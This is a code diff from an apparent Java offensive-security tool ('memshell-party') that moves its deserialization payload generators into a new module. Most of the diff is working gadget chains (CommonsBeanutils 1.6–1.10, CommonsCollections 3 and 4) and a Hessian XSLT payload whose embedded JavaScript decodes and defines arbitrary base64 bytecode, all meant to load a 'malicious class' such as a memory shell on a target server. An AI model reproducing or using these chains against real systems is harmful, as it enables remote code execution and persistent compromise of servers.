||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation project(":memshell-party-common")
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
|
implementation 'com.caucho:hessian:4.0.66'
|
||||||
|
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
||||||
|
implementation 'commons-collections:commons-collections:3.2.1'
|
||||||
|
implementation 'org.apache.commons:commons-collections4:4.0'
|
||||||
|
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class DeserializeConfig {
|
||||||
|
private PayloadType payloadType;
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.Hessian2Output;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class Hessian2DeserializeGenerator {
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||||
|
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||||
|
hessian2Output.writeObject(obj);
|
||||||
|
hessian2Output.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.HessianOutput;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class HessianDeserializeGenerator {
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||||
|
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||||
|
hessianOutput.writeObject(obj);
|
||||||
|
hessianOutput.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class JavaDeserializeGenerator {
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes);
|
||||||
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
|
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||||
|
oos.writeObject(obj);
|
||||||
|
oos.flush();
|
||||||
|
oos.close();
|
||||||
|
return baos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public interface Payload {
|
||||||
|
/**
|
||||||
|
* 将恶意类字节流封装成序列化对象
|
||||||
|
*
|
||||||
|
* @param bytes 恶意类字节流
|
||||||
|
* @return 序列化对象
|
||||||
|
*/
|
||||||
|
default Object generate(byte[] bytes) {
|
||||||
|
throw new UnsupportedOperationException();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将恶意类字节流封装成序列化对象
|
||||||
|
*
|
||||||
|
* @param bytes 恶意类字节流
|
||||||
|
* @param className 恶意类名
|
||||||
|
* @return 序列化对象
|
||||||
|
*/
|
||||||
|
default Object generate(byte[] bytes, String className) {
|
||||||
|
throw new UnsupportedOperationException();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.*;
|
||||||
|
import lombok.Getter;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
public enum PayloadType {
|
||||||
|
/**
|
||||||
|
* CB 链
|
||||||
|
*/
|
||||||
|
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||||
|
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||||
|
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||||
|
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CC 链
|
||||||
|
*/
|
||||||
|
CommonsCollections3(new CommonCollections3()),
|
||||||
|
CommonsCollections4(new CommonCollections4()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hessian XSLT write
|
||||||
|
*/
|
||||||
|
XSLTScriptEngine(new XSLTScriptEngine())
|
||||||
|
;
|
||||||
|
|
||||||
|
private final Payload payload;
|
||||||
|
|
||||||
|
PayloadType(Payload payload) {
|
||||||
|
this.payload = payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static PayloadType getPayloadType(String payloadType) {
|
||||||
|
for (PayloadType value : values()) {
|
||||||
|
if (value.name().equals(payloadType)) {
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -1,7 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
package com.reajason.javaweb.deserialize.payload.hessian;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.HessianUtils;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.HessianUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
import javax.swing.*;
|
import javax.swing.*;
|
||||||
@@ -13,9 +14,10 @@ import java.util.HashMap;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/19
|
* @since 2025/2/19
|
||||||
*/
|
*/
|
||||||
public class XSLTScriptEngine {
|
public class XSLTScriptEngine implements Payload {
|
||||||
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static Object generate(byte[] bytes, String className) {
|
public Object generate(byte[] bytes, String className) {
|
||||||
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
||||||
|
|
||||||
String tmpPath = "/tmp/CACHE_XML";
|
String tmpPath = "/tmp/CACHE_XML";
|
||||||
@@ -24,7 +26,7 @@ public class XSLTScriptEngine {
|
|||||||
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
||||||
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
||||||
" <xsl:template match=\"/\">\n" +
|
" <xsl:template match=\"/\">\n" +
|
||||||
" <xsl:variable name=\"js\" select=\""var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), 0),java.lang.Thread.currentThread().getContextClassLoader());var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
" <xsl:variable name=\"js\" select=\""var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||||
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
||||||
" <xsl:value-of select=\"$result\"/>\n" +
|
" <xsl:value-of select=\"$result\"/>\n" +
|
||||||
" </xsl:template>\n" +
|
" </xsl:template>\n" +
|
||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
@@ -14,17 +12,19 @@ import org.apache.commons.collections.map.LazyMap;
|
|||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
|
||||||
|
*
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2025/4/2
|
||||||
*/
|
*/
|
||||||
public class CommonsCollections3Packer implements Packer {
|
public class CommonCollections3 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
public Object generate(byte[] bytes) {
|
||||||
|
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
|
||||||
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
|
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
|
||||||
|
|
||||||
@@ -38,6 +38,6 @@ public class CommonsCollections3Packer implements Packer {
|
|||||||
outerMap.remove(templates);
|
outerMap.remove(templates);
|
||||||
|
|
||||||
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
|
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
|
||||||
return JavaDeserializeGenerator.generate(expMap);
|
return expMap;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
@@ -16,17 +14,17 @@ import org.apache.commons.collections4.functors.InstantiateTransformer;
|
|||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2025/4/2
|
||||||
*/
|
*/
|
||||||
public class CommonsCollections4Packer implements Packer {
|
public class CommonCollections4 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
public Object generate(byte[] bytes) {
|
||||||
|
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
ChainedTransformer chain =
|
ChainedTransformer chain =
|
||||||
new ChainedTransformer(
|
new ChainedTransformer(
|
||||||
new ConstantTransformer(TrAXFilter.class),
|
new ConstantTransformer(TrAXFilter.class),
|
||||||
@@ -36,6 +34,6 @@ public class CommonsCollections4Packer implements Packer {
|
|||||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||||
Reflections.setFieldValue(queue, "size", 2);
|
Reflections.setFieldValue(queue, "size", 2);
|
||||||
Reflections.setFieldValue(queue, "comparator", comparator);
|
Reflections.setFieldValue(queue, "comparator", comparator);
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils110Packer implements Packer {
|
public class CommonsBeanutils110 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -38,9 +34,9 @@ public class CommonsBeanutils110Packer implements Packer {
|
|||||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -18,16 +16,14 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils16Packer implements Packer {
|
public class CommonsBeanutils16 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -40,8 +36,8 @@ public class CommonsBeanutils16Packer implements Packer {
|
|||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -18,16 +16,15 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils18Packer implements Packer {
|
public class CommonsBeanutils18 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
@SuppressWarnings("unchecked")
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -40,8 +37,8 @@ public class CommonsBeanutils18Packer implements Packer {
|
|||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,8 @@
|
|||||||
package com.reajason.javaweb.packer.deserialize.java;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
|
||||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
@@ -20,13 +18,12 @@ import java.util.PriorityQueue;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/17
|
* @since 2024/12/3
|
||||||
*/
|
*/
|
||||||
public class CommonsBeanutils19Packer implements Packer {
|
public class CommonsBeanutils19 implements Payload {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
@@ -38,8 +35,8 @@ public class CommonsBeanutils19Packer implements Packer {
|
|||||||
queue.add("1");
|
queue.add("1");
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return JavaDeserializeGenerator.generate(queue);
|
return queue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
